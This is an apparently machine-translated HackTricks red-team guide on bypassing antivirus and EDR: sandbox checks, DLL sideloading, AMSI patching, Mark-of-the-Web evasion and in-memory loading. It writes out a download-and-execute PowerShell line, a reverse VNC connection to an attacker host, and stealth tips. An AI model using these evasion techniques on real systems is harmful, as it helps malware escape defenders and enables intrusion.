Antivirus (AV) Bypass
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
If you are interested in hacking career and hack the unhackable - we are hiring! (se requiere polaco fluido escrito y hablado).
This page was written by @m2rc_p!
Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, detección estática, análisis dinámico y, para los EDR más avanzados, análisis de comportamiento.
La detección estática se logra marcando cadenas maliciosas conocidas o arreglos de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de verificación, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te atrapen más fácilmente, ya que probablemente han sido analizadas y marcadas como maliciosas. Hay un par de formas de eludir este tipo de detección:
Cifrado
Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de cargador para descifrar y ejecutar el programa en memoria.
Ofuscación
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés tratando de ofuscar.
Herramientas personalizadas
Si desarrollas tus propias herramientas, no habrá firmas malas conocidas, pero esto requiere mucho tiempo y esfuerzo.
Una buena manera de verificar contra la detección estática de Windows Defender es ThreatCheck. Básicamente, divide el archivo en múltiples segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Te recomiendo encarecidamente que revises esta lista de reproducción de YouTube sobre evasión práctica de AV.
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
Dormir antes de la ejecución Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de sueño puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente.
Verificar los recursos de la máquina Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
Verificaciones específicas de la máquina Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
Algunos otros consejos realmente buenos de @mgeeky para ir contra los Sandboxes
Como hemos dicho antes en este post, las herramientas públicas eventualmente serán detectadas, así que deberías preguntarte algo:
Por ejemplo, si deseas volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS?
La respuesta correcta probablemente sea la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
Al modificar tus cargas útiles para la evasión, asegúrate de desactivar la presentación automática de muestras en Defender, y por favor, en serio, NO SUBAS A VIRUSTOTAL si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Siempre que sea posible, prioriza el uso de DLLs para la evasión, en mi experiencia, los archivos DLL son generalmente mucho menos detectados y analizados, así que es un truco muy simple de usar para evitar la detección en algunos casos (si tu carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto).
Como podemos ver en esta imagen, una carga útil DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que la carga útil EXE tiene una tasa de detección de 7/26.
Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.
Carga lateral de DLL aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra.
Puedes verificar programas susceptibles a la carga lateral de DLL usando Siofra y el siguiente script de powershell:
Este comando mostrará la lista de programas susceptibles a la suplantación de DLL dentro de "C:\Program Files\" y los archivos DLL que intentan cargar.
Te recomiendo encarecidamente que explores los programas susceptibles a la suplantación de DLL/que se pueden cargar lateralmente tú mismo, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas públicamente conocidos que se pueden cargar lateralmente, podrías ser atrapado fácilmente.
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada Proxy/Redirección de DLL.
Proxy de DLL redirige las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
Estaré utilizando el proyecto SharpDLLProxy de @flangvik
Estos son los pasos que seguí:
El último comando nos dará 2 archivos: una plantilla de código fuente DLL y la DLL original renombrada.
Estos son los resultados:
¡Tanto nuestro shellcode (codificado con SGN) como el DLL proxy tienen una tasa de detección de 0/26 en antiscan.me! Yo lo llamaría un éxito.
Te recomiendo encarecidamente que veas el VOD de twitch de S3cur3Th1sSh1t sobre DLL Sideloading y también el video de ippsec para aprender más sobre lo que hemos discutido en mayor profundidad.
Freeze es un kit de herramientas de payload para eludir EDRs utilizando procesos suspendidos, syscalls directas y métodos de ejecución alternativos
Puedes usar Freeze para cargar y ejecutar tu shellcode de manera sigilosa.
La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
AMSI fue creado para prevenir "malware sin archivos". Inicialmente, los antivirus solo eran capaces de escanear archivos en disco, por lo que si podías ejecutar cargas útiles directamente en memoria, el antivirus no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
La función AMSI está integrada en estos componentes de Windows.
Control de Cuentas de Usuario, o UAC (elevación de EXE, COM, MSI o instalación de ActiveX)
PowerShell (scripts, uso interactivo y evaluación de código dinámico)
Windows Script Host (wscript.exe y cscript.exe)
JavaScript y VBScript
Macros de Office VBA
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como sin ofuscar.
Ejecutar IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
producirá la siguiente alerta en Windows Defender.
Nota cómo antepone amsi:
y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI.
Hay un par de formas de eludir AMSI:
Ofuscación
Dado que AMSI principalmente trabaja con detecciones estáticas, por lo tanto, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto algo haya sido marcado.
Evasión de AMSI
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Forzar un Error
Forzar que la inicialización de AMSI falle (amsiInitFailed) resultará en que no se inicie ningún escaneo para el proceso actual. Originalmente, esto fue divulgado por Matt Graeber y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por AMSI mismo, por lo que se necesita alguna modificación para usar esta técnica.
Aquí hay un bypass de AMSI modificado que tomé de este Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Patching de Memoria
Esta técnica fue descubierta inicialmente por @RastaMouse y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código para E_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
Por favor, lee https://rastamouse.me/memory-patching-amsi-bypass/ para una explicación más detallada.
También hay muchas otras técnicas utilizadas para eludir AMSI con powershell, consulta esta página y este repositorio para aprender más sobre ellas.
O este script que a través de parches de memoria parcheará cada nuevo Powersh
Hay varias herramientas que se pueden usar para ofuscar código en texto claro de C#, generar plantillas de metaprogramación para compilar binarios o ofuscar binarios compilados como:
InvisibilityCloak: Ofuscador de C#
Obfuscator-LLVM: El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación LLVM capaz de proporcionar mayor seguridad en el software a través de ofuscación de código y protección contra manipulaciones.
ADVobfuscator: ADVobfuscator demuestra cómo usar el lenguaje C++11/14
para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
obfy: Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que dificultará un poco la vida de la persona que quiera crackear la aplicación.
Alcatraz: Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
metame: Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
ropfuscator: ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
Nimcrypt: Nimcrypt es un Crypter PE de .NET escrito en Nim
inceptor: Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas poco comúnmente activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
MoTW (Marca de la Web) es un NTFS Alternate Data Stream con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL de la que se descargó.
Es importante tener en cuenta que los ejecutables firmados con un certificado de firma confiable no activarán SmartScreen.
Una forma muy efectiva de evitar que tus cargas útiles obtengan la Marca de la Web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la Marca de la Web (MOTW) no puede aplicarse a volúmenes no NTFS.
PackMyPayload es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir la Marca de la Web.
Ejemplo de uso:
Aquí hay una demostración para eludir SmartScreen empaquetando cargas útiles dentro de archivos ISO usando PackMyPayload
Cargar binarios de C# en memoria se conoce desde hace bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser atrapado por AV.
Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
Fork&Run
Esto implica generar un nuevo proceso sacrificial, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre fuera de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una mucho mayor probabilidad de que nuestro implante sobreviva. La desventaja es que tienes una mayor probabilidad de ser atrapado por Detecciones Comportamentales.
Inline
Se trata de inyectar el código malicioso de post-explotación en su propio proceso. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una mucho mayor probabilidad de perder tu beacon ya que podría fallar.
Si deseas leer más sobre la carga de ensamblados de C#, consulta este artículo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ y su BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
También puedes cargar ensamblados de C# desde PowerShell, consulta Invoke-SharpLoader y el video de S3cur3th1sSh1t.
Como se propone en https://github.com/deeexcee-io/LOI-Bins, es posible ejecutar código malicioso usando otros lenguajes al dar acceso a la máquina comprometida al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes ejecutar código arbitrario en estos lenguajes dentro de la memoria de la máquina comprometida.
El repositorio indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos más flexibilidad para eludir firmas estáticas. Las pruebas con scripts de shell reverso aleatorios no ofuscados en estos lenguajes han demostrado ser exitosas.
La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
Cada entorno al que te enfrentes tendrá sus propias fortalezas y debilidades.
Te animo a que veas esta charla de @ATTL4S, para obtener una base en técnicas de evasión más avanzadas.
Esta también es otra gran charla de @mariuszbit sobre Evasión en Profundidad.
Puedes usar ThreatCheck que eliminará partes del binario hasta que descubra qué parte Defender encuentra como maliciosa y te lo dividirá. Otra herramienta que hace lo mismo es avred con un servicio web abierto que ofrece el servicio en https://avred.r00ted.ch/
Hasta Windows 10, todos los Windows venían con un servidor Telnet que podías instalar (como administrador) haciendo:
Haz que comience cuando se inicie el sistema y ejecuta ahora:
Cambiar el puerto telnet (sigiloso) y desactivar el firewall:
Descárgalo de: http://www.uvnc.com/downloads/ultravnc.html (quieres las descargas bin, no la instalación)
EN EL HOST: Ejecuta winvnc.exe y configura el servidor:
Habilita la opción Deshabilitar TrayIcon
Establece una contraseña en Contraseña VNC
Establece una contraseña en Contraseña de Solo Vista
Luego, mueve el binario winvnc.exe y el archivo nuevo creado UltraVNC.ini dentro de la víctima
El atacante debe ejecutar dentro de su host el binario vncviewer.exe -listen 5900
para que esté preparado para capturar una conexión VNC inversa. Luego, dentro de la víctima: Inicia el daemon winvnc winvnc.exe -run
y ejecuta winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ADVERTENCIA: Para mantener el sigilo no debes hacer algunas cosas
No inicies winvnc
si ya está en ejecución o activarás un popup. verifica si está en ejecución con tasklist | findstr winvnc
No inicies winvnc
sin UltraVNC.ini
en el mismo directorio o causará que se abra la ventana de configuración
No ejecutes winvnc -h
para ayuda o activarás un popup
Descárgalo de: https://github.com/GreatSCT/GreatSCT
Dentro de GreatSCT:
Ahora inicia el lister con msfconsole -r file.rc
y ejecuta la carga útil xml con:
El defensor actual terminará el proceso muy rápido.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Compílalo con:
Úsalo con:
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Descarga y ejecución automáticas:
Lista de ofuscadores de C#: https://github.com/NotPrab/.NET-Obfuscator
Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)